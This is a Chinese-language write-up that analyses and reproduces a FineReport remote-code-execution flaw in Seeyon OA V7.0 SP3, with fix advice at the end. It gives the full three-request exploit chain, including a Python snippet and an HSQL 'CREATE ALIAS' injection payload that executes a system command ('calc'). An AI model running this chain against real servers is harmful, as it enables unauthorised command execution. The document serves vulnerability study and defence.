致远V7.0SP3历史漏洞分析
字数 3731
更新时间 2026-04-16 12:17:48

致远V7.0 SP3 历史漏洞分析与复现教学文档

1. 漏洞概述

本文档针对“致远V7.0 SP3”版本中存在的历史漏洞(FineReport组件RCE漏洞)进行详细的分析与复现教学。漏洞本质是通过FineReport报表系统的参数处理功能,结合HSQL数据库特性,实现远程命令执行。漏洞利用链涉及三个关键接口的串联调用。

2. 漏洞背景与来源

  • 漏洞参考来源
    1. https://github.com/aicoa/hound/blob/2222bbff82764e270ed0e0762ca99fdde62c36d8/config/afrog-pocs/vulnerability/fanruan-finereport-fr-log-rce.yaml#L23
    2. https://xz.aliyun.com/news/10512
  • 影响组件:致远OA集成的FineReport报表服务器。
  • 前置条件:攻击者需要知晓目标系统的RootManagerName(默认为admin)。

3. 漏洞复现POC脚本分析

完整的漏洞利用Python脚本展示了三阶段的攻击链。以下为关键步骤分解:

3.1 脚本整体流程

import requests, re, json, sys
host = "http://192.168.49.131/seeyonreport"
report_server = f"{host}/ReportServer"

攻击目标为致远OA的/seeyonreport/ReportServer路径。

3.2 第一阶段 (r0) - 获取SessionID

请求

GET /seeyonreport/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=admin

目的:获取后续请求必需的sessionID
响应分析:从返回的HTML或JS中正则匹配提取sessionID(格式如:27978)。
代码关键点

session_match = re.search(r'sessionID=([0-9A-Za-z\-]+)', resp.text)

3.3 第二阶段 (r1) - 注入恶意参数

请求

POST /seeyonreport/ReportServer?op=fr_dialog&cmd=parameters_d&sessionID={session_id}&fr_username=admin

POST数据 (payload)

{
  "__parameters__": json.dumps({
    "LABEL1": "TYPE:",
    "TYPE": "6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('calc');select msg, trace, sinfo, logtime from fr_errrecord where 1=1",
    "LABEL3": "START_TIME:",
    "START_TIME": "2020-08-11 00:00",
    "LABEL5": "END_TIME:",
    "END_TIME": "2020-08-11 16:41",
    "LABEL7": "LIMIT:",
    "LIMIT": 2
  })
}

目的:将包含HSQL命令注入的TYPE参数(此处为执行calc计算器程序)保存到当前sessionID对应的服务端会话上下文中。此步骤仅为存储,不会触发命令执行

3.4 第三阶段 (r2) - 触发命令执行

请求

GET /seeyonreport/ReportServer?_=op=page_content&sessionID={session_id}&pn=1

目的:通过请求报表分页内容(page_content),触发服务端使用之前存储的恶意参数进行报表渲染和查询,从而执行嵌入的HSQL命令,实现RCE。

4. 漏洞原理深入分析

4.1 第一阶段 (r0) 原理分析

  1. 入口类com.fr.web.core.A.DC
    • 继承NoSessionIDService,表示此服务无需SessionID即可访问。
    • actionOP()返回"fr_log",对应URL中的op参数。
  2. 鉴权逻辑
    • process方法中,通过fr_username参数与PrivilegeManager.getRootManagerName()(默认为admin)进行比较鉴权。
    • 鉴权通过后,调用WebActionsDispatcher.dealForActionNoSessionIDCMD分发请求。
  3. 命令匹配与执行
    • dealForActionNoSessionIDCMD方法遍历DC类中预定义的ActionNoSessionCMD数组,匹配cmd参数(此处为fg_errinfo)。
    • 匹配到com.fr.web.core.A.AD类并执行其actionCMD方法。
  4. SessionID生成
    • AD.actionCMD方法调用ReportletDealWith.dealWithEmbeddedReportlet,并传入报表模板路径/com/fr/web/log/logerr_info.cpt
    • dealWithEmbeddedReportlet中,调用SessionDealWith.generateSessionID生成一个唯一的SessionID,并与当前报表上下文(ReportSessionIDInfor)关联后存入内存缓存sessionIDMap
    • SessionID是连接前后端报表上下文的关键纽带,在后续请求中通过它来获取完整的参数和执行环境。

4.2 第二阶段 (r1) 原理分析

  1. 入口类com.fr.web.core.A.PD
    • getCMD()返回"parameters_d"
  2. 参数处理流程
    • 通过SessionDealWith.getSessionIDInfor(sessionID)获取之前创建的ReportSessionIDInfor对象。
    • 调用ReportSessionIDInfor.applySessionIDInforParameters(HttpServletRequest)处理请求参数。
  3. 参数收集与存储
    • applySessionIDInforParameters方法内部调用WebUtils.parameters4SessionIDInfor,该方法会从HTTP请求的多个来源(Parameter、Attribute、Session、JSON Body、InputStream)收集所有参数,合并成一个Map。
    • 这个包含我们恶意Payload的Map被存入ReportSessionIDInfor对象的parameterMap4Execute属性中。
    • 至此,攻击者输入的HSQL注入Payload已成功附着在服务端为该SessionID维护的上下文里。

4.3 第三阶段 (r2) 原理分析

  1. 入口与分发
    • 请求op=page_content,由com.fr.web.core.A.BC类处理。
    • 经过分发,cmd=html参数最终由com.fr.web.core.A.RB类处理。
  2. 获取上下文与触发执行
    • RB.actionCMD中调用FC.A().A(sessionID, request, response)
    • 首先,通过sessionID再次获取ReportSessionIDInfor对象。
    • 然后,调用ReportSessionIDInfor.getReportPage(int pageNumber)获取报表分页提供者(ReportPageProvider)。
    • getReportPage方法中,会调用this.createPageSetChain()创建报表计算链,这是触发报表渲染和计算的关键。
  3. 漏洞触发点
    • 在报表计算链的执行过程中,系统会从ReportSessionIDInforparameterMap4Execute中取出参数,用于构建SQL查询。
    • 当处理到TYPE参数时,其值为"6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('calc');select ..."
    • 该值被拼接到HSQL查询中。HSQL数据库允许使用CREATE ALIAS创建Java函数别名。这里创建了一个名为RUMCMD的别名,指向SystemServiceUtils.exeCmd方法,该方法可用于执行系统命令。
    • 随后CALL RUMCMD('calc')调用这个别名,执行了calc.exe命令,从而完成RCE。
    • 调用栈最终会进入com.fr.report.core.A.J.C等方法进行表达式求值和SQL执行。

5. 关键知识点总结

  1. 攻击链:获取Session -> 存储恶意参数 -> 触发参数使用。
  2. 鉴权绕过fr_log接口仅校验fr_username是否为root管理员名,一旦泄露或默认即可利用。
  3. Session机制:FineReport通过自生成的SessionID在服务端内存中维护报表的完整执行上下文(ReportSessionIDInfor)。
  4. 参数注入点__parameters__以JSON格式传入,被系统收集并存入会话上下文,在后续报表渲染时被使用。
  5. 利用技术:HSQL数据库的CREATE ALIAS功能允许将Java静态方法映射为SQL函数,是实现命令执行的关键。
  6. 漏洞本质:是一个存储型的SQL注入漏洞,但由于注入的SQL是HSQL,并结合了FineReport的报表渲染机制,最终导致了远程代码执行。

6. 漏洞修复与防御建议

  1. 升级与补丁:及时更新致远OA及FineReport组件至官方修复版本。
  2. 输入校验:对__parameters__等用户可控输入进行严格的校验和过滤,特别是对CREATE ALIASCALL等HSQL/Dangerous SQL关键词进行拦截。
  3. 权限控制:加强fr_logfr_dialog等接口的访问控制,避免低权限用户访问管理功能。
  4. Session安全:确保SessionID不可预测,并设置合理的超时时间。
  5. 最小权限原则:运行FineReport服务的系统账户应遵循最小权限原则,避免使用高权限账户。
相似文章
相似文章
 全屏